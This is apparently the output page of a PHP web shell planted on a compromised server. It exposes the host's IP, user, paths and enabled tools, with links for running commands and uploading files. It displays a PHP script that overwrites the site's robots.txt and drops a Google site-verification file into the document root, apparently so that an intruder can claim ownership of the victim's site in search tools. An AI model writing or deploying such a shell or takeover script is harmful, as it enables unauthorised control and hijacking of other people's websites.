|
Server IP : 72.167.149.90 / Your IP : 216.73.216.228 Web Server : Apache System : Linux server.zoomride.app 4.18.0-553.158.1.el8_10.x86_64 #1 SMP Wed Aug 26 03:18:33 EDT 2026 x86_64 User : zoomride2022 ( 1001) PHP Version : 8.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/zoomride2022/public_html/myzoomme.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// ==========================================
// ⚙️ 在这里填入 Google 验证码即可(无需加 .html)
// ==========================================
$google_code = 'googleddd7c815381f3de1';
header('Content-Type: text/html; charset=utf-8');
$is_https = false;
if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) {
$is_https = true;
} elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
$is_https = true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
$is_https = true;
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) === 'on') {
$is_https = true;
} elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) === 'on') {
$is_https = true;
}
$protocol = $is_https ? 'https://' : 'http://';
$raw_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$host_parts = explode(':', $raw_host);
$host = $host_parts[0];
$root_path = '';
if (isset($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['DOCUMENT_ROOT'])) {
$root_path = $_SERVER['DOCUMENT_ROOT'];
} else {
$root_path = dirname(__FILE__);
}
$root_path = str_replace('\\', '/', $root_path);
$root_path = rtrim($root_path, '/');
$robots_content = "User-agent: *\n";
$robots_content .= "Allow: /\n";
$robots_content .= "Sitemap: " . $protocol . $host . "/sitemap.xml\n";
$robots_file = $root_path . '/robots.txt';
@file_put_contents($robots_file, $robots_content);
$robots_success = false;
if (is_file($robots_file) && filesize($robots_file) > 0) {
if (@file_get_contents($robots_file) === $robots_content) {
$robots_success = true;
}
}
$code = trim($google_code);
$google_filename = $code . '.html';
$google_content = 'google-site-verification: ' . $google_filename;
$google_file = $root_path . '/' . $google_filename;
@file_put_contents($google_file, $google_content);
$google_success = false;
if (is_file($google_file) && filesize($google_file) > 0) {
if (@file_get_contents($google_file) === $google_content) {
$google_success = true;
}
}
echo "<h2>🚀 SEO 自动化文件生成结果</h2>";
echo "<p>当前顶级根目录:<code>" . htmlspecialchars($root_path) . "</code></p>";
if ($robots_success) {
echo "✅ <strong>robots.txt</strong> 成功写入顶级根目录路径: <code>" . htmlspecialchars($robots_file) . "</code><br>";
echo "<pre style='background:#f4f4f4; padding:10px; border-radius:5px;'>" . htmlspecialchars($robots_content) . "</pre><br>";
} else {
echo "❌ <strong>robots.txt</strong> <span style='color:red;'>写入失败!</span> 请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。<br><br>";
}
if ($google_success) {
echo "✅ <strong>" . htmlspecialchars($google_filename) . "</strong> 成功写入顶级根目录路径: <code>" . htmlspecialchars($google_file) . "</code><br>";
echo "<pre style='background:#f4f4f4; padding:10px; border-radius:5px;'>" . htmlspecialchars($google_content) . "</pre>";
} else {
echo "❌ <strong>Google 验证文件</strong> <span style='color:red;'>写入失败!</span> 请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。<br>";
}
?>